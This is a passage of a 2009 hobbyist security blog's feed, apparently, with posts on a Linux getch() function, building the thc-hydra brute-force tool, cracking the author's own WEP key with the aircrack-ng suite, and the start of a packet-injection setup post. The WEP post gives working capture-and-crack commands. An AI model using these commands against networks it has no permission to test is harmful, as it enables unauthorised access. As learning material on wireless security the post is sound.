src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-5756251176526697065</id><published>2009-07-28T09:01:00.000+05:30</published><updated>2009-07-28T21:32:28.050+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='getch linux'/><title type='text'>getch in Linux</title><content type='html'>&lt;span style="color: rgb(51, 204, 0);"&gt;In case you ever need to use getch() function in gcc on Linux, use the following quick fix code:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: rgb(255, 255, 0);" id="code869871493_1"&gt;&lt;pre class="code"&gt;&lt;pre class="code"&gt;&lt;span class="co2"&gt;&lt;/span&gt;&lt;span class="co2"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="co2"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;ol&gt;&lt;li class="li1"&gt;&lt;div class="de1"&gt;&lt;span class="co2"&gt;   &lt;/span&gt;&lt;span class="co2"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;/li&gt;&lt;li class="li1"&gt;&lt;div class="de1"&gt;  &lt;span class="co2"&gt; #include &amp;lt;termios.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1"&gt;&lt;div class="de1"&gt;&lt;pre class="code"&gt;&lt;pre class="code"&gt;&lt;span class="co2"&gt;   #include &amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;/pre&gt; &lt;/div&gt;&lt;/li&gt;&lt;li class="li2"&gt;&lt;div class="de2"&gt;        &lt;span class="kw4"&gt;int&lt;/span&gt; &lt;strong class="highlight"&gt;getch&lt;/strong&gt;&lt;span class="br0"&gt;(&lt;/span&gt;&lt;span class="br0"&gt;)&lt;/span&gt;&lt;span class="br0"&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1"&gt;&lt;div class="de1"&gt;            &lt;span class="kw4"&gt;struct&lt;/span&gt; termios oldt,&lt;/div&gt;&lt;/li&gt;&lt;li class="li1"&gt;&lt;div class="de1"&gt;                           newt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1"&gt;&lt;div class="de1"&gt;            &lt;span class="kw4"&gt;int&lt;/span&gt; ch;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1"&gt;&lt;div class="de1"&gt;            tcgetattr&lt;span class="br0"&gt;(&lt;/span&gt; STDIN_FILENO, &amp;amp;oldt &lt;span class="br0"&gt;)&lt;/span&gt;;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2"&gt;&lt;div class="de2"&gt;            newt = oldt;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1"&gt;&lt;div class="de1"&gt;            newt.&lt;span class="me1"&gt;c_lflag&lt;/span&gt; &amp;amp;= ~&lt;span class="br0"&gt;(&lt;/span&gt; ICANON | ECHO &lt;span class="br0"&gt;)&lt;/span&gt;;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1"&gt;&lt;div class="de1"&gt;            tcsetattr&lt;span class="br0"&gt;(&lt;/span&gt; STDIN_FILENO, TCSANOW, &amp;amp;newt &lt;span class="br0"&gt;)&lt;/span&gt;;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1"&gt;&lt;div class="de1"&gt;            ch = getchar&lt;span class="br0"&gt;(&lt;/span&gt;&lt;span class="br0"&gt;)&lt;/span&gt;;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1"&gt;&lt;div class="de1"&gt;            tcsetattr&lt;span class="br0"&gt;(&lt;/span&gt; STDIN_FILENO, TCSANOW, &amp;amp;oldt &lt;span class="br0"&gt;)&lt;/span&gt;;&lt;/div&gt;&lt;/li&gt;&lt;li class="li2"&gt;&lt;div class="de2"&gt; &lt;/div&gt;&lt;/li&gt;&lt;li class="li1"&gt;&lt;div class="de1"&gt;            &lt;span class="kw1"&gt;return&lt;/span&gt; ch;&lt;/div&gt;&lt;/li&gt;&lt;li class="li1"&gt;&lt;div class="de1"&gt;        &lt;span class="br0"&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-5756251176526697065?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/5756251176526697065/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2009/07/getch-in-linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/5756251176526697065'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/5756251176526697065'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2009/07/getch-in-linux.html' title='getch in Linux'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-111889014906624657</id><published>2009-05-04T19:46:00.000+05:30</published><updated>2009-05-04T20:58:47.839+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='hydra thc-hydra ubuntu 8.10 Intrepid Ibex brute force'/><title type='text'></title><content type='html'>&lt;span style="color: rgb(51, 204, 0);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;Installing thc-hydra on Ubuntu 8.10 Intrepid Ibex&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 204, 0);"&gt;********************************************************************&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;I had a hard time making hydra work on my Intrepid. And I wanted to write this post because while googling I found a lot of people facing similar errors. Especially making the GUI work on Ubuntu. I have provided the links from where I got clues. THis includes making minor change in the code as well.(thanks to the author Mark who provided this info) &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; For those who are unaware of hydra, thc-hydra is a brute forcing tool used by penetration testers to check the security of their network. Hydra lets you create an attack on network services like ftp, telnet, http, smb and many more but most importantly ssh. Its a wonderful tool to analyse the security of your network.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;I would only mention the errors that are faced in general. If you face some more errors then you may have to install additional packages depending on your configuration. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0); font-weight: bold;font-size:130%;" &gt;Theory&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;1.Download hydra source from here &lt;/span&gt;&lt;br /&gt;&lt;a style="color: rgb(255, 255, 0);" href="http://freeworld.thc.org/thc-hydra/"&gt;http://freeworld.thc.org/thc-hydra/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;2. You will need libgtk2.0-dev, if you want hydra GUI. Install it using apt-get&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;apt-get install libgtk2.0-dev&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;3. If you want ssh support  (I bet you badly want it ;)) then download the library from here: &lt;/span&gt;&lt;a style="color: rgb(51, 255, 51);" href="http://0xbadc0de.be/libssh/libssh-0.2.tgz" class="urlextern" title="http://0xbadc0de.be/libssh/libssh-0.2.tgz" rel="nofollow"&gt;&lt;/a&gt;&lt;a style="color: rgb(255, 255, 0);"&gt;http://0xbadc0de.be/&lt;span class="search_hit"&gt;libssh&lt;/span&gt;/&lt;span class="search_hit"&gt;libssh&lt;/span&gt;-0.2.tgz &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;For more details:&lt;/span&gt;&lt;br /&gt;&lt;a style="color: rgb(255, 255, 0);" href="http://0xbadc0de.be/"&gt;http://0xbadc0de.be&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;This may save you from the frustrating ssh errors that I saw after installing libssh 0.11 and through the default installation from the repository. (apt-get install libssh-dev)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;This is when I read in the hydra messages that I need to install libssh0.11 from 0xbadc0de.be.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;I faced this error (Error 1) when I tried installation after libssh 0.11 install. Somewhere I read that it has to do with symbolic links. But the libraries seemed to be at their right place. These errors vanish when you use libssh-dev from apt-get or libssh 0.2 from 0xbadc0de.be. I would recommend the latter one.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;Error 1:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;hydra error while loading shared libraries: libssh.so: cannot open shared object file: No such file or directory&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;I faced Error 2 when I installed libssh-dev from apt-get. May be it has something to do with the version. You dont see these errors when you install libssh0.2 from 0xbadc0de.be&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;Error 2:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;hydra-ssh2.o: In function `start_ssh2':&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt; hydra-ssh2.c:(.text+0x57): undefined reference to `options_new'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt; hydra-ssh2.c:(.text+0xaf): undefined reference to `options_set_wanted_method'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt; hydra-ssh2.c:(.text+0xc1): undefined reference to `options_set_wanted_method'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt; hydra-ssh2.c:(.text+0xcc): undefined reference to `options_set_port'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt; hydra-ssh2.c:(.text+0xd7): undefined reference to `options_set_host'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt; hydra-ssh2.c:(.text+0xe2): undefined reference to `options_set_username'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt; hydra-ssh2.c:(.text+0x12e): undefined reference to `ssh_error_code'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt; collect2: ld returned 1 exit status&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Once you install libssh 0.2, you also need to download a patch provided by the author to make hydra 5.4 work with libssh 0.2. (This is much simpler and works like a charm :)) &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Get the patch from here:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a style="color: rgb(255, 255, 0);" href="http://0xbadc0de.be/libssh/hydra-libssh0.2.patch"&gt;http://0xbadc0de.be/libssh/hydra-libssh0.2.patch&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;4. OK, another problem that you may face (for sure) is that your GUI part (hydra-gtk) wont compile.  Sort of:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;/usr/include/bits/fcntl2.h:51: error: call to "__open_missing_mode" declared with attribute error: open with O_CREAT in second argument needs 3 arguments&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Check out this link for details (needs minor tweak in code, and it worked for me. The errors vanished.):&lt;/span&gt;&lt;br /&gt;&lt;a style="color: rgb(255, 255, 0);" href="http://www.hacktoolrepository.com/tool.pl?tid=37"&gt;http://www.hacktoolrepository.com/tool.pl?tid=37&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;5. This error/solution is displayed during hydra install, but anyways I am mentioning it: &lt;span style="color: rgb(255, 255, 0);"&gt;"cannot find -lpq"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;run those commands:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;make clean&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;./configure&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Edit Makefile and and remove the "-lpq" and "-DLIBPOSTGRES" statements.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;XDEFINES= -DLIBOPENSSL -DLIBPOSTGRES -DLIBSSH&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt; XLIBS= -lssl -lpq -lssh -lcrypto&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;to &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;XDEFINES= -DLIBOPENSSL  -DLIBSSH&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt; XLIBS= -lssl  -lssh -lcrypto&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;then,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;make&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;make install&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0); font-weight: bold;font-size:130%;" &gt;Installation Summary.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;1. Download and extract thc-hydra source :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;wget http://freeworld.thc.org/releases/hydra-5.4-src.tar.gz&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;tar -xvzf hydra-5.4-src.tar.gz&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;2. Download libssh0.2 and the patch:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;wget http://0xbadc0de.be/libssh/libssh-0.2.tgz&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;wget http://0xbadc0de.be/libssh/hydra-libssh0.2.patch&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;3. Install libssh0.2:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;tar -xvzf libssh-0.2.tgz&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;cd libssh-0.2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;./configure&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;make&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;make install&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;4. Change directory to hydra source and apply the patch:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;cd hydra-5.4-src&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;patch -p1 &lt; /path/to/hydra-libssh0.2.patch&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;5. Install hydra (in case you dont get -lpq error or the gtk compile error, else edit the Makefile, or edit the hydra-gtk/src/callbacks.c code respectively)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;./configure&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;make&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;make install&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Run hydra command line by "&lt;span style="color: rgb(255, 255, 0);"&gt;hydra&lt;/span&gt;" or hydra GUI by "&lt;span style="color: rgb(255, 255, 0);"&gt;xhydra&lt;/span&gt;".&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Happy Learning!!!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-111889014906624657?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/111889014906624657/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2009/05/installing-thc-hydra-on-ubuntu-8.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/111889014906624657'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/111889014906624657'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2009/05/installing-thc-hydra-on-ubuntu-8.html' title=''/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-21278298442735375</id><published>2009-04-30T08:06:00.000+05:30</published><updated>2009-04-30T09:29:18.623+05:30</updated><title type='text'></title><content type='html'>&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold; color: rgb(51, 204, 0);"&gt;How I broke my wifi (WEP) Encryption&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0); font-weight: bold;"&gt;*********************************************************&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Hey Guys. Last time I worked on figuring out how  packet injection works on Ubuntu Intrepid. However even after my best efforts I could not increase the data capture through packet injection. Well packet injection works, but still I am unable to move any further. &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;The fake authentication works until the authentication step, but it fails at the association. Replaying a packet again doesnt work. Didnt try the other techniques. I wasnt pretty sure if was following it correctly. But this weekend many of friends came for a gaming night. As they used the same wifi network, an overwhelming amount of traffic was generated. I captured some 700000 packets, and broke the passcode with some 5 secs of aircrack run. At least I am confident now that it works on my box. Only need to learn the packet injection technique.&lt;/span&gt;  &lt;span style="color: rgb(51, 255, 51);"&gt;I will narrate down the steps:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0); font-weight: bold; font-style: italic;"&gt;I did this purposely to learn the basics of wifi security, and that too on my own test network. I purposely chose a weak password for the testing. If you are trying to intrude a wifi network which doesnot belong to you, then you could land yourself in serious legal trouble, unless you have a written permission from the owner to do so and you are doing it for ethical reasons. This guide or the author are not responsible for the destructive actions you take. Technology is for the betterment and ease of lives. Dont misuse it. &lt;/span&gt; &lt;span style="color: rgb(255, 153, 0); font-weight: bold; font-style: italic;"&gt;This article serves as a guide for learning the commonly used security tools for wifi auditing.&lt;/span&gt;&lt;span style="color: rgb(255, 153, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(255, 153, 0); font-weight: bold; font-style: italic;"&gt;Use at your own risk.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Open a shell as root&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;1. Start &lt;span style="color: rgb(255, 255, 0);"&gt;airmon-ng&lt;/span&gt; to bring your wireless interface in monitoring mode.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;airmon-ng start wlan0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;This will add an interface &lt;span style="color: rgb(255, 255, 0);"&gt;mon0&lt;/span&gt; which will be in monitor mode.&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;I didnt specify the channel though.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;2. Start capturing the packets of your home network&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;airodump-ng -c 1 --bssid  00:1E:40:xx:B1:xx   -w home305 mon0   &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;00:1E:40:xx:B1:xx &lt;span style="color: rgb(51, 255, 51);"&gt;is the mac address of my wireless router, and home305 is the name of my network. You can get this info by kismet or even your normal wifi explorer.&lt;/span&gt; &lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;For other options see the man page of airodump-ng&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Below is the scene when I was capturing packets:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_e-VL6LAQQaw/SfkXSDd-hpI/AAAAAAAAACc/o6wvRdtdtss/s1600-h/Capture.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 250px;" src="http://2.bp.blogspot.com/_e-VL6LAQQaw/SfkXSDd-hpI/AAAAAAAAACc/o6wvRdtdtss/s400/Capture.png" alt="" id="BLOGGER_PHOTO_ID_5330317232905815698" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;The first red box on top left is the number of data packets that we captured. The second one on top right is the rate.. Any rate above 100 is excellent. Around 50 is ok.  It means you are capturing 100 useful packets per second. By this rate you can estimate how long it will take to capture some 1000000 data packets (I think this should be good enough for a 128 bit encryption, I am not sure some say it should be 3000000). Some say you need atleast 300000 packets for a 64 bit encryption scheme. Oops, if this sounds a little techie then in simpler terms:&lt;/span&gt;  &lt;span style="color: rgb(51, 255, 51);"&gt;If you set your password as 5 char length then you should capture some 300000 or more packets (depends on the password strength of your network)&lt;/span&gt;  &lt;span style="color: rgb(51, 255, 51);"&gt;If you set your password as 13 char length then you should capture some 100000 or more packets (depends on the password strength of your network)&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt; &lt;/span&gt;  &lt;span style="color: rgb(51, 255, 51);"&gt;Well, this is not a fact, just my own estimate and as you know, I am no expert at this.&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;My own password was "password12345" and I think it should have required much less than what I was expecting. In fact I had captured some 700000 packets and it worked like a charm for me. I have no experience as to how the password stength will affect the minimum number of packets required. That would be interesting stuff.&lt;/span&gt;  &lt;span style="color: rgb(51, 255, 51);"&gt;The third red box contains the table of clients connected. We all were playing games.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;3. Optionally you can try injection techniques to increase the rate of packet capture. But as I said earliar, my injections failed miserably. May be as of now I am not that good in judging packets. And also injection techniques may or may not work depending on the wireless router. I didnt researched this either :( So still not sure why it doesnt work for me. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;4. When you feel you have captured suffiecient amount of packets, you can stop capturing. I captured some 700000 packets. You will find a file (in the same directory from where you ran airodump-ng) containing the captured data with the name of your network. On this file you can need to run aircrack.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;aircrack-ng -a 1 -c -n 128 home305-01.cap  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;I already know that my encryption is 128 bit. So I used the option -n 128 to save time. The following screen capture is the result of the exercise. My password (password12345) was so lame that it got broken within 5 secs of aircrack run.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_e-VL6LAQQaw/Sfkc-aNYAfI/AAAAAAAAACk/tZYfR9z6XYs/s1600-h/CrackedKey.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 250px;" src="http://1.bp.blogspot.com/_e-VL6LAQQaw/Sfkc-aNYAfI/AAAAAAAAACk/tZYfR9z6XYs/s400/CrackedKey.png" alt="" id="BLOGGER_PHOTO_ID_5330323492482580978" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;This article ends here. I know now that breaking the WEP encryption isnt that difficult. Unfortunately at many places wifi is used without any encryption. Anyways the only suggestion from my side is to use strong passwords as of now. I have heard there are other alternatives to WEP available as well but I didnt have a look at them. Will let you know which one is better in terms of security when my research proceeds. In a way this article is incomplete as I didnt mention what needs to be done to ensure that your wifi is secure. Just wait for some more time. :)&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-21278298442735375?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/21278298442735375/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2009/04/how-i-broke-my-wifi-wep-encryption-hey.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/21278298442735375'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/21278298442735375'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2009/04/how-i-broke-my-wifi-wep-encryption-hey.html' title=''/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_e-VL6LAQQaw/SfkXSDd-hpI/AAAAAAAAACc/o6wvRdtdtss/s72-c/Capture.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-5179148269622109119</id><published>2009-01-09T12:48:00.000+05:30</published><updated>2009-01-09T13:46:40.299+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='wireless hacking Ubuntu 8.10 Intrepid Ibex kernel 2.6.27 THinkpad T61 INtel 4965 AG or AGN'/><title type='text'>Making Packet Injection work on Ubuntu 8.10 (Intrepid Ibex) kernel 2.6.27 on Intel 4965 AG/AGN wireless card</title><content type='html'>&lt;span style="color: rgb(51, 255, 51);"&gt;Primarily I followed the following link to make packet injection work on my new &lt;span style="font-weight: bold;"&gt;Intrepid Ibex (Ubuntu 8.10) kernel 2.6.27&lt;/span&gt; with an &lt;span style="font-weight: bold;"&gt;Intel 4965&lt;/span&gt; card on a THinkpad T61.&lt;/span&gt;&lt;br /&gt;&lt;a href="http://tinyshell.be/aircrackng/forum/index.php?PHPSESSID=395694818ce8f33e9810767d30518a2d&amp;amp;action=printpage;topic=3954.0"&gt;http://tinyshell.be/aircrackng/forum/index.php?PHPSESSID=395694818ce8f33e9810767d30518a2d&amp;amp;action=printpage;topic=3954.0&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Before we start, I should suggest you read the complete document and all posts (the tinyshell link), so that as you complete the reading you will have an idea of what to do and what not to. I am not an expert at giving advice in linux, and so I will only mention the steps that worked for me. You may be required to apply your brains at some places and knowledge about patches etc and why we apply them. Remember I already screwed my Gutsy Gibbon (Ubuntu 7.10) while upgrading the kernel. So be prepared for any such occurences.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;THese things happen while learning. :) THats the real 